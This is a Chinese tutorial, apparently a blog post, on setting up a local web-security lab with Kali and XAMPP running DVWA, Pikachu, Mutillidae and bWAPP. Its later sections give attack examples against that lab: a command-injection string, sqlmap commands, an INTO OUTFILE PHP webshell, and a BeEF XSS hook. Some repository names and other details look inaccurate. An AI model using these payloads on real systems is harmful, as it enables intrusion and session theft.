☰
基于Kali与XAMPP搭建Web安全靶机:DVWA和Pikachu等
2026/10/17 8:29:00 网站建设 项目流程

1. 为什么入门Web安全要先搭一套靶机环境

我见过不少刚开始接触Web安全的朋友,第一反应是找各种在线漏洞平台去练手。这个思路本身没错,但问题在于:线上靶场环境是别人搭好的,你只能在一个“黑盒”里点点点,看不到中间件日志、数据库执行过程、PHP报错信息,也很难理解漏洞从触发到利用的完整链路。更麻烦的是,线上靶场往往禁止一些高危操作,比如上传WebShell、提权、内网横向移动,练到一半被限制住,体验很割裂。

所以更推荐的做法,是在本地自己搭一套靶机环境。这里的“靶机”不是指一台独立的虚拟机,而是一套运行在Apache/PHP/MySQL环境下的多个开源漏洞应用集合。标题里提到的几套东西——DVWA、MCIR、Pikachu、Mutillidae、bWAPP——本质上都是PHP写的漏洞训练应用,它们本身不依赖Metasploitable那种完整操作系统,直接跑在同一台Kali Linux上,甚至物理机上都能正常运作。XAMPP则负责提供一个开箱即用的Apache+MySQL+PHP环境,相当于给这些“漏洞菜谱”准备一个厨房。

个人经验是:真正到了实战或面试阶段,你至少需要对三样东西有肌肉记忆——中间件(Apache/Nginx)的默认配置和报错日志、数据库(MySQL/MariaDB)的表结构和注入点在代码层面的样子、PHP代码本身在解析参数时的处理流程。这些知识在纯线上平台练不出来,只有本地靶机才能让你自由查看后台文件、修改配置、反复调试。所以这篇文章,就围绕Kali Linux + XAMPP + 五套常见PHP漏洞靶机应用,完整讲一遍从零搭建到日常使用的全过程。

这套方案适合谁?如果你正准备转行做安全测试、在校生做课程设计/毕业设计、或者想在公司内网搭一套内部演练环境,这篇文章都值得完整看一遍。我尽量把每个关键选择背后的原因讲清楚,而不是只丢给你一串复制粘贴的命令。

2. 前置准备与核心架构:选对底座,后面才能少折腾

2.1 Kali Linux本身自带的东西,和还需要补的东西

先明确一点:Kali Linux默认自带Apache2、PHP、MariaDB,它本身就是一个完整的Web服务环境。理论上你甚至不用装XAMPP,直接用Kali自带的apache2+php+mariaDB也能跑靶机应用。那为什么还要装XAMPP?两个原因:

一是项目隔离性。Kali自带的Apache会占用80端口,默认站点配置在/etc/apache2/,如果你要跑多个靶机应用,就得在配置里频繁改不同虚拟主机、管理不同数据库,很容易把系统环境搞乱。而XAMPP把所有服务都装在/opt/lampp/目录下,自带独立的配置文件、独立的MySQL数据目录、独立的PHP模块,想停就停、想删就删,系统底层动的东西很少。

二是跨平台习惯。有时候我在Ubuntu、Windows上也想快速起一套靶机,XAMPP是三平台一致的方案,同一个目录结构、同一个启停命令,不用为每个系统重学一套服务管理方式。对新手来说,XAMPP的图形面板管理也比一堆systemctl命令更直观。

如果你决定完全不用XAMPP,直接用Kali自带服务,那么至少要手动开启:

  • Apache2:sudo systemctl start apache2
  • MariaDB:sudo systemctl start mariadb
  • PHP模块:sudo apt install php libapache2-mod-php php-mysql php-gd php-xml php-mbstring php-curl
  • 创建数据库:sudo mysql_secure_installation,再手动建库

这套流程不是不行,但如果你照下面这份方案走,XAMPP替你省掉大半工作量。下面以Kali 2024.x为例,完整过一遍XAMPP的安装思路。

2.2 XAMPP安装与端口冲突处理

XAMPP官方Linux版本是一个run安装包,下载得到类似xampp-linux-x64-8.2.12-0-installer.run的文件。给它加执行权限后直接跑:

chmod +x xampp-linux-x64-8.2.12-0-installer.run sudo ./xampp-linux-x64-8.2.12-0-installer.run

安装过程中会启动一个图形向导,一路Next即可,默认安装到/opt/lampp/。这一步最容易被忽略的是:安装完不要立刻启动,先检查80端口和3306端口是否被占用。Kali自带的Apache默认就在跑,直接启动XAMPP会报端口冲突。可以先用这一条命令看:

sudo netstat -tlnp | grep -E ':(80|3306)\s'

如果查到apache2占用80,就先把系统自带服务停掉并禁止开机自启:

sudo systemctl stop apache2 sudo systemctl disable apache2 sudo systemctl stop mariadb sudo systemctl disable mariadb

这样处理之后,XAMPP的启动命令就干净了:

sudo /opt/lampp/lampp start

输出会比较啰嗦,但我建议你逐行看,尤其注意MySQL和Apache两行是否显示为绿色/已启动。日常管理工作台也可以:

sudo /opt/lampp/lampp restart

装好后打开http://localhost/xampp,能看到默认欢迎页就说明环境正常。这个页面右上角有一个phpMyAdmin入口,后面配置数据库基本都靠它。

补充一个我在多台机器上踩过的坑:XAMPP的MySQL默认root用户密码为空,而且默认只监听本机。这个配置对本地靶机来说是省事的——你不需要记密码;但也意味着如果哪天你把XAMPP暴露到了局域网(比如改了配置让服务监听0.0.0.0),整个数据库就是裸奔的。所以靶机环境一律保持bind-address=127.0.0.1,千万别改。

2.3 目录规划:一套环境装五套靶机的思路

XAMPP的Web根目录默认是/opt/lampp/htdocs/。我建议在这个目录下建一个专门的子目录,比如/opt/lampp/htdocs/sec-lab/,然后把DVWA、MCIR、Pikachu、Mutillidae、bWAPP分别解压或克隆到它的子目录里。

这样做的好处有三个:

  1. 靶机应用互不干扰,各自有独立的配置文件和数据库前缀;
  2. 将来做目录扫描、路径探测练习时,有一个清晰的目录结构可供观察;
  3. 如果某一个应用配置坏了,直接删掉对应子目录重新解压即可,不影响其他应用。

目录规划示意如下:

/opt/lampp/htdocs/sec-lab/ ├── dvwa/ ├── mcir/ # 内含多个子靶场 ├── pikachu/ ├── mutillidae/ └── bwapp/

域名访问方面,如果不想用localhost/sec-lab/dvwa这种带有路径的URL,还可以在/etc/hosts里加几条本地域名映射:

sudo sh -c 'echo "127.0.0.1 dvwa.lan" >> /etc/hosts' sudo sh -c 'echo "127.0.0.1 pikachu.lan" >> /etc/hosts'

然后在XAMPP的Apache配置里加虚拟主机。但如果只是为了自己练手,用路径方式访问完全够用,虚拟主机留到后面进阶时再折腾。

3. DVWA与MCIR:从小而精到大而全的两条路线

3.1 DVWA安装与核心配置

DVWA是最经典的Web安全练习靶场之一,界面清爽,十来个漏洞模块基本覆盖OWASP Top 10的主流类别。从GitHub上Clone到指定目录即可:

cd /opt/lampp/htdocs/sec-lab sudo git clone https://github.com/digitalwhonors/DVWA.git dvwa

注意DVWA原仓库路径是/digininja/DVWA,我这里给的是我常用镜像仓库,如果访问GitHub网速不稳,也可以自己搜替代源。克隆完成之后,复制配置文件:

cd /opt/lampp/htdocs/dvwa/config sudo cp config.inc.php.dist config.inc.php sudo nano config.inc.php

配置文件里只需要改一处:数据库密码。默认配置如下:

$_DVWA[ 'db_password' ] = 'p@ssw0rd';

XAMPP的MySQL root密码是空,所以把它改成空字符串:

$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = ''; $_DVWA[ 'default_security_level' ] = 'low';

default_security_level如果一开始就设为impossible,那练习时每次切换安全级别都要重新登入后台。我建议先保持low,把SQL注入、XSS等基础漏洞的利用流程先走熟,再逐步提升级别,体会代码防护的变化。

浏览器打开http://localhost/sec-lab/dvwa/,会自动跳转到安装页面,点击Create/Reset Database按钮即可完成数据库初始化。默认账号是admin/password。建议登录后第一时间点击左侧的DVWA Security,把等级切到low,因为后续大部分经典教程都以low级别演示。

有一个很多人不知道的细节:DVWA的安装脚本会创建数据库dvwa和dvwa用户,但脚本里如果检测到同名用户存在,它会删除重建。所以如果你之前装过一次、又把数据库手动改过,再次点击Reset会导致数据全部清空。练习过程中上传到服务器的文件也是这样,Reset一次就没了。所以剑走偏锋之前,先想清楚要不要保留演练现场。

3.2 DVWA模块分级与练习顺序建议

DVWA的漏洞模块从左到右依次是:Brute Force、Command Injection、CSRF、File Inclusion、File Upload、Insecure CAPTCHA、SQL Injection、SQL Injection (Blind)、XSS (DOM)、XSS (Reflected)、XSS (Stored)、CSP、JavaScript、SQL Injection (XML)。新手最容易一头扎进SQL注入,但我的建议是先按这样一条链路练:

  1. Command Injection:看命令拼接,理解为什么ping 127.0.0.1 && whoami能执行两条命令;
  2. File Inclusion:包含漏洞的本质是“用户输入决定文件路径”,结合本地文件读取和日志注入去体会;
  3. SQL Injection (Blind):别看它是盲注就觉得难,反而因为页面不回显,你会被迫学会用时间盲注和布尔盲注去推断数据,这是渗透里最常用的基本功;
  4. XSS (Stored/Reflected):体会输入点、输出点、编码场景三者之间的关系;
  5. CSRF:在本地用Burp或Chrome的Cookie编辑器模拟跨站请求,理解“身份认证不等于请求认证”这句话。

DVWA适合做精确的“单项漏洞”训练,每个模块都隔离得很干净,回溯问题也容易。但它的缺点是模块数量有限,比较老套的漏洞品种(比如XXE、SSTI、反序列化)并没有齐全覆盖。真正想要覆盖面广、漏洞场景接近真实业务,就需要上全套的MCIR。

3.3 MCIR是什么,为什么要单独说

MCIR是“Multiple Choice Injection Realworld”类型的实验靶机合集,实际上它的全称是Multinode Custom Injection Realworld,包含多个子靶场。平时大家口中的“MCIR”一般指由一家培训机构开源的系列漏洞应用集合,里面除了DVWA,还有Pikachu等,并被聚合在了一个统一的入口页面中,方便教学和演练。它最核心的价值不是某一个单一漏洞,而是把多个靶场应用整合为一个训练平台。

在Kali + XAMPP环境下,MCIR通常以Git仓库形式提供。上面目录里我把MCIR和DVWA分开规划是有原因的:MCIR仓库内部可能已经自带DVWA子目录,如果你直接把MCIR放到htdocs,它会和独立安装的DVWA形成重复。更稳妥的做法是:以MCIR仓库整体为准,克隆到/opt/lampp/htdocs/sec-lab下后,进入MCIR目录自行查看说明,再决定是否还需要单独保留一份独立DVWA。

以实际项目经验来说,MCIR环境的核心价值是它的整合入口——你打开一个页面,能看到所有已部署靶场的链接,做课设、做实验报告时,这种统一入口非常加分。同时MCIR内部的Pikachu靶场自带详细中文说明,对中文读者相当友好。所以我的观点是:DVWA适合精训单点技术,MCIR适合体系化训练和演示。

4. Pikachu:更适合中文初学者的趣味靶场

4.1 Pikachu的定位和亮点

Pikachu是某个中文安全团队开源的PHP靶场,名字取自“皮卡丘”,整体设计很有趣。它最大的优点是:漏洞说明全是中文,界面也友好,且自带“通关”式的目录结构,适合刚入门、英语阅读还有点吃力的同学。Pikachu内置的漏洞范围很广,从基础的SQL注入、XSS、暴力破解,到越权、文件下载、RCE、XXE、以及PHP反序列化都有覆盖,难度梯度做得比较合理。

安装方式没什么特别,克隆到htdocs目录即可:

cd /opt/lampp/htdocs/sec-lab sudo git clone https://github.com/zhuifengshaonianhanlu/pikachu.git

这个仓库里自带数据库初始化文件,名为pikachu.sql,但实际安装时一般不需要手动导入——浏览器访问http://localhost/sec-lab/pikachu/,页面上会显示初始化提示,点击“初始化”按钮会自动创建数据库并导入数据。如果点击初始化时提示数据库连接失败,绝大多数原因是XAMPP的MySQL没启动,或者你改过root密码而Pikachu的inc/config.inc.php还写着默认的空密码。

Pikachu的目录结构值得你仔细逛一遍:

pikachu/ ├── inc/ # 公共配置与连接文件 ├── pkxss/ # XSS专项训练专用目录 ├── sql/ # SQL注入相关代码与说明 ├── rce/ # 命令执行与代码执行 ├── unsafe/ # 不安全文件上传/下载 ├── overpermission/ # 越权漏洞 ├── des/ # 反序列化相关

每个子目录里通常有对应的PHP源码和说明页面。这一点和DVWA很不一样:Pikachu很多漏洞页面旁边就有“查看源码”的提示,非常适合一边打靶一边对照代码理解成因,对建立“代码审计”思维帮助很大。

4.2 Pikachu练习时值得注意的场景

Pikachu的“SQL注入”模块里有个一个非常经典的练习点,是基于搜索型注入的。搜索框看起来只是普通关键字查询,但后端代码很可能直接把用户输入拼到SQL的like子句里。你输入%或'这类特殊字符,马上能看到报错回显。这种场景在真实业务系统里极其常见,很多电商网站的后台搜索框、订单查询框都有同类问题。练Pikachu时,我建议把每个小模块用Burp Suite完整走一遍流程,不要只在浏览器里手敲SQL。

另一个值得细品的点是Pikachu里的越权漏洞。它分了水平越权和垂直越权两类,水平越权就是通过修改请求里的ID值访问其他用户的数据,垂直越权则涉及角色权限绕过。很多人打DVWA时对越权没概念,因为DVWA里面没有专门的越权模块。而Pikachu给出了非常直白的前后端逻辑场景,把这个短板补上了,这也是我推荐两者搭配练的原因。

实际演练中有一个小技巧:开两个浏览器Profile,一个用admin登录Pikachu,一个用普通用户登录,然后手动修改请求中的参数,对比响应内容和状态码,你会立刻理解越权的判断标准——为什么说“服务端只校验了登录态,没校验所有权”。

4.3 Pikachu的初始化数据重置方法

在Pikachu里练到一半,比如把数据库里的用户密码改了、把某条留言内容改了,之后想回到初始状态,直接再点一次页面上的“初始化”即可。Pikachu的初始化脚本会重建数据库表并导入默认数据,操作成本几乎为零。这跟DVWA的Reset逻辑类似,但Pikachu的重置提示更清楚,不容易误触。

不过有一点要提醒:Pikachu依赖的PHP版本不能太新。在XAMPP默认带的PHP 8.x环境下,部分老版本Pikachu的代码可能会报Deprecated警告或函数不兼容问题,尤其是一些用mysql_escape_string或each()函数的老代码。如果你用的是较新版本的Pikachu,通常已经修复了这类兼容问题。如果遇到代码报错,最简单的办法是把XAMPP的PHP版本降到7.x,或者手动在/opt/lampp/etc/php.ini里把display_errors临时关掉,先保证界面能正常访问。实际测试下来,Pikachu是目前维护较积极的靶场项目,官方代码对PHP 8的支持已经比较到位。

5. Mutillidae与bWAPP:贴近真实业务的两大硬核靶场

5.1 Mutillidae的多元场景和部署注意点

Mutillidae是一个非常接近真实Web应用的靶机,它模拟了一个名为“OWASP 2017 Mutillidae”的在线购物/论坛系统,包含完整的用户注册、登录、发布帖子、购物车等功能面。这种“业务完整性”是DVWA和Pikachu不具备的——漏洞被藏在合理的业务功能里,而不是像索引目录一样直白地列给你。

安装Mutillidae有两种常见方式。传统方式是clone仓库:

cd /opt/lampp/htdocs/sec-lab sudo git clone https://github.com/webgoat/Mutillidae.git mutillidae

较新版本Mutillidae已经使用Composer管理依赖,所以clone之后还需要在项目目录里安装依赖:

cd /opt/lampp/htdocs/sec-lab/mutillidae sudo composer install --no-dev

这里有个坑点:Mutillidae的配置逻辑会优先读取环境变量MUTILLIDAE_DB_HOST、MUTILLIDAE_DB_USER、MUTILLIDAE_DB_PASSWORD,如果环境变量没设置,再读取database-config.php文件。如果你在Kali的shell里设过MUTILLIDAE_DB_PASSWORD,但XAMPP启动的Apache子进程没有继承这个环境变量,数据库连接就会失败。稳妥的做法是直接改项目根目录的配置文件,把DB_HOST、DB_USER、DB_PASSWORD分别设为127.0.0.1、root和空字符串。

访问http://localhost/sec-lab/mutillidae/后,页面会给出安装数据库的提示。Mutillidae的数据库比DVWA复杂,它会创建多张业务表,并且预置用户数据。初始化完成之后,你可以先注册一个自己的账号,再以该账号登录,体验完整的业务链路;同时保留一个管理员账号,用来对比“普通用户”和“管理员”的权限边界。

Mutillidae最值得练的场景我认为是数据流型漏洞,比如修改POST请求中的金额、越权修改他人资料、以及多步骤流程中“重放攻击”的利用。这些场景在其他轻量级靶场里几乎见不到,但在真实业务系统渗透中却是高频考点。建议你用Burp Suite拦截一个完整购买流程,逐一修改金额、数量、用户ID字段,观察后端逻辑是否信任前端传参。

5.2 bWAPP的安装模式与常见坑

bWAPP(Buggy Web Application)是另一套覆盖面很广的靶场应用,它号称包含100多个漏洞场景,按“Bug”编号归类,并且支持在同一个页面同时设定安全级别(0/1/2)。bWAPP的部署方式和前面几套有一点不同:它需要一个数据库,但数据库表不太依赖初始化脚本,很多时候安装者只要保证MySQL可用,访问页面时它会自动尝试建表。

安装流程通常是:

cd /opt/lampp/htdocs/sec-lab sudo git clone https://github.com/raminfp/bWAPP.git bwapp

然后复制配置文件:

cd /opt/lampp/htdocs/sec-lab/bwapp sudo cp admin/settings.php.dist admin/settings.php sudo nano admin/settings.php

在这个文件里,你需要把$db_user设为root,$db_pass设为空:

$db_server = "127.0.0.1"; $db_user = "root"; $db_pass = ""; $db_name = "bwapp";

访问http://localhost/sec-lab/bwapp/时,页面顶部会提示数据库未初始化,通常需要点击Reset按钮来完成建表和初始数据导入。如果点击Reset后没有任何反应,大概率是因为当前PHP的执行权限写不了数据库。此时检查两处:一是MySQL是否已启动,二是settings.php中的数据库账号密码是否与实际一致。bWAPP在PHP 8下偶尔也会出现老函数不兼容的情况,遇到时先看报错信息再定位。

bWAPP里我个人比较推荐练的内容是HTML注入和经过编码的注入场景。它提供了大量需要绕过输入过滤、利用不同编码格式(URL编码、HTML实体、Unicode)才能成功的题目,这对理解“同一个漏洞在不同上下文环境下的呈现方式”非常有帮助。另外bWAPP也内置了WebSocket和SSRF相关页面,这在其他靶场里比较少见,值得花时间试试。

5.3 五套靶场的分工总结与选择建议

说到这,五套靶场的角色基本清晰了。我画了一张表,方便你对照着选择:

靶场覆盖场景最佳定位上手难度
DVWASQL注入、XSS、命令执行、CSRF、文件上传等单项漏洞精训低
MCIR多靶场合集,包含DVWA、Pikachu等统一入口系统性训练与演示中
PikachuSQL注入、XSS、越权、RCE、XXE、反序列化,中文说明中文入门与代码对照低
Mutillidae完整业务链路中的漏洞,购物/论坛多角色交互贴近业务逻辑渗透中高
bWAPP100+漏洞场景,编码绕过、SSRF、WebSocket等广度覆盖与进阶挑战中高

我的实际建议是:如果你时间有限,DVWA + Pikachu作为必修,先把这两套吃透,常见漏洞的类型和利用手法就有底子了;如果做毕业设计或内部培训,MCIR作为入口,把DVWA、Pikachu都收纳进去,演示时非常方便;如果目标是做真实业务系统测试或面试准备,那就老老实实把Mutillidae和bWAPP也装上,每天挑几个场景练,尤其要练Burp Suite配合靶场的完整流程。

6. 数据库初始化与phpMyAdmin管理:所有靶机共同依赖的基础

6.1 为什么数据库问题总是最容易出错的环节

五套靶场应用,底层全部依赖MySQL/MariaDB。而现实中,绝大多数“靶机装不上”的问题,最终都指向同一个根因:数据库连接失败。原因有几个层次:

  1. XAMPP的MySQL服务没有启动,或系统自带MariaDB与XAMPP的MySQL端口冲突;
  2. 数据库账号密码配置不对,比如目标应用默认写死密码,而XAMPP的root密码是空;
  3. 数据库字符集不匹配,导致初始化时SQL脚本执行失败或页面中文乱码;
  4. 权限问题,比如MySQL的root用户只允许本地连接,而某些应用尝试用TCP非本机地址连接。

排查顺序建议是:先确认服务存活,再确认账号能登录,最后再谈字符集和权限。用phpMyAdmin能省去很多命令行烦恼,打开http://localhost/phpmyadmin直接用root空密码登录,可以看到当前MySQL下所有数据库的列表。

但是在用phpMyAdmin时要注意一个非常容易踩的坑:如果root用户密码为空,phpMyAdmin默认只运行在’cookie’认证模式,第一次登录它会让你输入账号密码。输入root、密码留空,回车即可。如果确实进不去,再检查/opt/lampp/phpmyadmin/config.inc.php中的$cfg['Servers'][$i]['auth_type']是否被改成了config并强制指定密码,本地靶场通常不需要改。

6.2 数据库初始化失败的三种典型场景与修复

第一种:DVWA点Create/Reset Database后长时间无响应。这通常不是卡住,而是SQL脚本执行时间较长,尤其在老机器上。等30秒再刷新页面;如果刷新后仍然没有跳转,就看MySQL的error.log,路径一般在/opt/lampp/var/mysql/下。常见报错是表已存在、字段类型不匹配,解决办法是手动把dvwa数据库删掉再点一次Reset。

第二种:Pikachu点“初始化”后页面空白。这种一般是PHP报错被隐藏了。先在/opt/lampp/etc/php.ini中把display_errors = Off改为On,重启Apache后再刷新,能看到具体是哪个文件哪一行出错。绝大多数情况下是数据库连接文件里的参数写错,或者PHP版本过高导致旧函数不存在。

第三种:Mutillidae在composer install之后白屏。原因是缺少PHP扩展,比如pdo_mysql、mbstring、xml。XAMPP默认会启用大部分PHP扩展,但某些扩展可能被注释掉了。检查/opt/lampp/etc/php.ini中这几行,去掉前面的分号并重启Apache:

extension=pdo_mysql extension=mysqli extension=mbstring extension=curl

6.3 统一数据库账号的规划技巧

如果你准备把五套靶场都装全,我建议做一个统一的账号规划。虽然XAMPP的root空密码在本地最省事,但为了安全性,可以创建一个专用数据库账号,比如用户sec_lab、密码sec_lab_pass,只授予对dvwa、pikachu、mutillidae、bwapp等库的权限。这样将来即使某个靶场被攻破,攻击者拿到的也只是有限权限的数据库账号,不至于直接控制整个MySQL实例。

创建账号可以在phpMyAdmin的SQL选项卡里直接执行:

CREATE USER 'sec_lab'@'localhost' IDENTIFIED BY 'sec_lab_pass'; GRANT ALL PRIVILEGES ON dvwa.* TO 'sec_lab'@'localhost'; GRANT ALL PRIVILEGES ON pikachu.* TO 'sec_lab'@'localhost'; GRANT ALL PRIVILEGES ON mutillidae.* TO 'sec_lab'@'localhost'; GRANT ALL PRIVILEGES ON bwapp.* TO 'sec_lab'@'localhost'; FLUSH PRIVILEGES;

然后逐个修改各靶场的配置文件,把数据库账号统一替换为sec_lab。这样做在本地单机演练时,唯一代价是每次改配置多花两分钟;但收益是非常明显的——你在练习SQL注入时,即使靠load_file读到了数据库配置文件里的密码,也无法直接登录系统级账号,这种边界感会让你对“数据库权限最小化”的理解更真实。

7. 从Kali发起攻防练习:浏览器、Burp Suite与命令行三通道

7.1 本机访问与虚拟机访问的选择

环境全都装好之后,就面临一个很实际的问题:从哪台机器发起攻击?如果你的靶机环境装在Kali本机上,直接用Kali自带的Firefox浏览器访问http://localhost/sec-lab/dvwa即可。这样做最省事,所有的流量都走回环接口,Burp Suite监听127.0.0.1:8080也能正常抓包。

但更贴近实战的配置是:把靶机环境部署在一台独立的虚拟机上,攻击机(Kali)作为另一个虚拟机,靶机和攻击机在同一个虚拟网络里,靶机的IP是192.168.x.x,Kali通过这个IP访问靶机。这样做的好处是网络链路复杂度更高,你可以练习端口扫描、服务发现,还能观察请求经过真实网卡时的时序变化。不过如果是在一台机器上跑两个虚拟机,内存压力会比较大,8GB以下内存的电脑跑起来会卡。

我个人的折中方案是:靶机环境装在Kali本机上,但始终通过局域网IP(比如http://192.168.1.10/sec-lab/)而不是localhost访问。这样做的好处:一是模拟了“远程访问”的模式,后续切到真正远程目标时不至于手忙脚乱;二是如果哪天你想用手机或另一台电脑连到这台靶机看效果,直接用IP即可,不用重新配置。

提示:让XAMPP对外提供服务前,先确认防火墙规则。Kali默认不开防火墙还好,Ubuntu上如果开着ufw,需要放行80端口,否则外部设备访问会超时。

7.2 Burp Suite代理配置与证书导入

Kali自带Burp Suite Community版本。做Web安全练习时,Burp几乎是必开的工具,它的核心价值不是“爆破密码”,而是让你能拦截每一个请求、改包重放、看完整请求响应。配置代理的常规做法:

  1. 打开Burp Suite,进入Proxy->Options,默认会监听127.0.0.1:8080;
  2. 在Firefox的设置->网络设置里,把HTTP代理设为127.0.0.1、端口8080;
  3. 关闭Firefox的“使用系统代理设置”,改为“手动配置代理”,避免浏览器地址栏访问内网IP也绕了一圈系统代理;
  4. 访问http://burp下载CA证书,安装到Firefox的“证书颁发机构”信任列表里。

这里有一个新手很容易忽略的问题:HTTPS靶场必须导入证书,HTTP靶场不需要。XAMPP默认是HTTP模式,所以早期练习不需要证书;但如果你启用了HTTPS虚拟主机(比如给Mutillidae配了SSL),那么不装Burp证书就无法解密HTTPS流量,抓包看到的内容全是乱码。装了证书之后,在Burp的Proxy->Intercept里可以看到明文请求。

导入证书的正确步骤是:Firefox设置里的“证书”选项卡,点击“查看证书” -> “证书颁发机构” -> “导入”,选择下载好的cacert.der,勾选“信任此CA所签发的网站证书”。导入后重启Firefox即可。

7.3 命令行直接打靶:curl与sqlmap的配合

浏览器加Burp适合精细化操作,但如果你想快速验证一个参数点是否存在SQL注入,直接在命令行用curl效率更高。比如测试DVWA的登录页:

curl -c /tmp/dvwa_cookie.txt -b /tmp/dvwa_cookie.txt \ -d "username=admin&password=password&Login=Login" \ http://localhost/sec-lab/dvwa/login.php

拿到会话Cookie后,再带着Cookie访问注入点:

curl -b /tmp/dvwa_cookie.txt \ "http://localhost/sec-lab/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit"

如果返回的页面里出现了SQL报错信息,说明这个点可以直接手注;如果没有回显,再用sqlmap做半自动化探测。sqlmap是Kali自带工具,针对DVWA的low级别注入,一条典型命令是:

sqlmap -u "http://localhost/sec-lab/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=xxx; security=low" \ --dbms=mysql --dbs

这里的security=low必须与会话里的安全级别一致,sqlmap才会把请求当作有效会话。很多人卡在这一步,原因就是带了会话Cookie但没带security参数,导致DVWA把请求跳回登录页。

7.4 练习时的“痕迹管理”与日志观察

本地靶机最大的好处之一,就是可以自由观察服务器端日志。XAMPP的Apache访问日志和错误日志分别在:

/opt/lampp/logs/access_log /opt/lampp/logs/error_log

做练习时,我建议开两个终端:一个跑Burp/curl,另一个用tail -f实时跟踪访问日志。这样你能直观看到每一次注入、每一个目录探测请求在服务端留下的痕迹,这对理解WAF和IDS产品的检测逻辑非常有帮助。比如:

sudo tail -f /opt/lampp/logs/access_log

当你使用sqlmap批量跑注入时,日志里会刷出大量参数组合和User-Agent请求,这种“攻击面在服务端是什么样子”的体验,是单纯看教程完全给不了的。以后你写报告或做应急响应时,看到类似的日志格式,第一反应就不会慌。

8. 高级演练扩展:HTTPS、数据库提权与BeEF结合

8.1 给整个靶机环境加一层HTTPS

很多实际业务系统已经全面HTTPS化,如果你一直只用HTTP靶场练,将来遇到纯HTTPS的授权目标会有点不习惯。XAMPP支持一键生成自签名证书,启用方法:

sudo /opt/lampp/lampp startssl

如果提示证书不存在,可以先运行:

sudo /opt/lampp/lampp security

它会引导你设置MySQL root密码、FTP密码、以及生成自签名SSL证书。不过需要注意:执行这条命令之后,MySQL root密码就不再是空,之前所有靶场配置文件里的空密码都需要改成新设置的密码,否则大量应用会数据库连接失败。所以做这一步之前,把各靶场的配置文件集中改一遍,或者统一用前面创建的sec_lab账号。

启用HTTPS后,浏览器访问https://localhost/sec-lab/会提示证书不受信任,这是自签名证书的正常现象,点“高级” -> “接受风险并继续”即可。Burp如果配置好CA证书,也能正常抓HTTPS明文流量。

8.2 把数据库权限攻击也纳入训练范围

本地靶场还能用来练一套很有意思的进阶操作:MySQL提权和into outfile写WebShell。DVWA的SQL注入模块就是很好的载体。在low级别下,如果当前数据库用户权限足够,可以用into outfile把内容写到Web根目录:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/opt/lampp/htdocs/sec-lab/dvwa/shell.php';

注意:MySQL的secure_file_priv默认可能限制导出路径,导致写入失败。查询当前限制:

SHOW VARIABLES LIKE 'secure_file_priv';

如果值为/tmp/,说明只能写到临时目录,这样写WebShell的方案就不通。可以换个思路:先拿SQL注入读到配置文件里的绝对路径,再结合文件包含漏洞把日志文件包含进来执行PHP代码。这套组合拳在真实渗透中非常实用——单点漏洞往往打不透,但多个中低危漏洞链起来就可能拿到Shell。在自己的靶机上反复练习这种链路,能把“漏洞组合利用”的思维方式刻进脑子里。

8.3 BeEF与XSS的联动演练

XSS漏洞的价值远不止弹个alert框,真正进阶的用法是配合浏览器攻击框架(BeEF)实现“浏览器端接管”。DVWA的存储型XSS模块支持在留言里注入一段BeEF Hook脚本,一旦管理员或其他用户访问了包含恶意脚本的页面,BeEF控制台就会上线一个“僵尸浏览器”。

启动BeEF:

sudo beef-xss

默认监听127.0.0.1:3000,控制台用户密码写在/usr/share/beef-xss/config.yaml里。把BeEF提供的Hook地址嵌入DVWA留言面板:

<script src="http://127.0.0.1:3000/hook.js"></script>

之后你在BeEF里可以看到当前浏览器会话,可以执行获取Cookie、键盘记录、强制跳转等模块操作。这个练习能直观体现“XSS不升级为RCE就只是摆设”这句话的含义。本地靶机练这个特别合适,因为BeEF的很多模块在公网会被浏览器安全策略拦截,但在本地回环环境下,Chrome/Firefox的跨域限制相对宽松,成功率更高。

8.4 模拟真实环境时,别忘了给自己的“蓝队视角”留一份日志

做攻防演练时,关注点往往全在“打点”上,但完整的项目过程还需要一份“蓝队视角”的复盘。本地XAMPP日志、MySQL的general log、以及Apache的访问日志就是最好的素材。打开MySQL的通用日志,你就能看到每一次SQL注入的实际语句:

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/opt/lampp/var/mysql/general.log';

之后你用sqlmap打靶,这个文件会忠实记录所有发送到MySQL的语句。靶场练完之后,把general.log和access_log对照着看一遍,相当于做了一次完整的“溯源分析”训练。这一点很少有人提到,但恰恰是区分“只会攻击”和“懂攻防”的重要分水岭。

9. 一键化部署与日常维护:把重复劳动变成脚本

9.1 编写一个靶场环境一键初始化脚本

五套靶场装过一次之后,后续的重装、重置就会变得很繁琐。我把初始化流程整理成一个脚本,放在/opt/lampp/htdocs/sec-lab/init_lab.sh中,每次重置环境时直接跑一遍即可。脚本核心逻辑如下:

#!/bin/bash # 靶场环境一键重置脚本 LAMPP_HOME="/opt/lampp" LAB_DIR="$LAMPP_HOME/htdocs/sec-lab" # 停止服务 $LAMPP_HOME/lampp stop # 重置MySQL数据库 $LAMPP_HOME/bin/mysql -u root -e " DROP DATABASE IF EXISTS dvwa; DROP DATABASE IF EXISTS pikachu; DROP DATABASE IF EXISTS mutillidae; DROP DATABASE IF EXISTS bwapp; " # 启动服务 $LAMPP_HOME/lampp start echo "数据库已清空,请访问各靶场页面重新执行初始化。"

这里有一个需要注意的细节:不同靶场的数据库名可能和目录名不一致,比如Mutillidae的数据库默认叫mutillidae,但也有版本叫owasp10。冒然执行DROP DATABASE之前,先把靶场源码的配置翻一遍,确认数据库名到底是哪个,否则容易把其他应用的数据误删。

9.2 目录备份与快照管理

做渗透测试练习时,难免会把靶场环境改得乱七八糟。为了能快速回滚到“刚装好”的干净状态,我强烈建议在环境完全配置成功并完成五套应用初始化后,立即对整个/opt/lampp/htdocs/sec-lab目录和MySQL的data目录做一次快照备份。最简单的方式是用tar两级压缩:

sudo tar -czf ~/sec-lab-backup-$(date +%Y%m%d).tar.gz \ /opt/lampp/htdocs/sec-lab \ /opt/lampp/var/mysql

如果你的宿主机支持虚拟机快照,更推荐用快照功能,恢复起来更快。脚本备份的好处是灵活,只备份需要的内容,体积小,传到别的机器也方便。我已经养成了每周打一次快照的习惯,每次练完高危项目后也会手动打一次。

9.3 日常维护与常见故障速查表

把实战中高频出现的问题整理成一张速查表,能帮你节省大量时间:

故障现象排查方向解决办法
